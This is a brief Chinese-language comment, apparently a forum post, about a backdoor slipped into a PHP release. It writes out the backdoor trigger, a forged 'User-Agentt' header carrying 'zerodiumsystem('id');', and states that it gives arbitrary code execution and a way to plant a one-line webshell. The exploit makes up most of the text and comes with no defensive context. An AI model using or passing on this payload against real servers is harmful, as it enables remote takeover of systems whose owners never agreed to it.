这个我是没想到php版本发布里面可以留后门,也不知道谁这么无聊会把这个测出来 User-Agentt: zerodiumsystem('id'); 你可以直接用这个伪造UA去任意代码执行,包括一句话木马
User-Agentt: zerodiumsystem('id');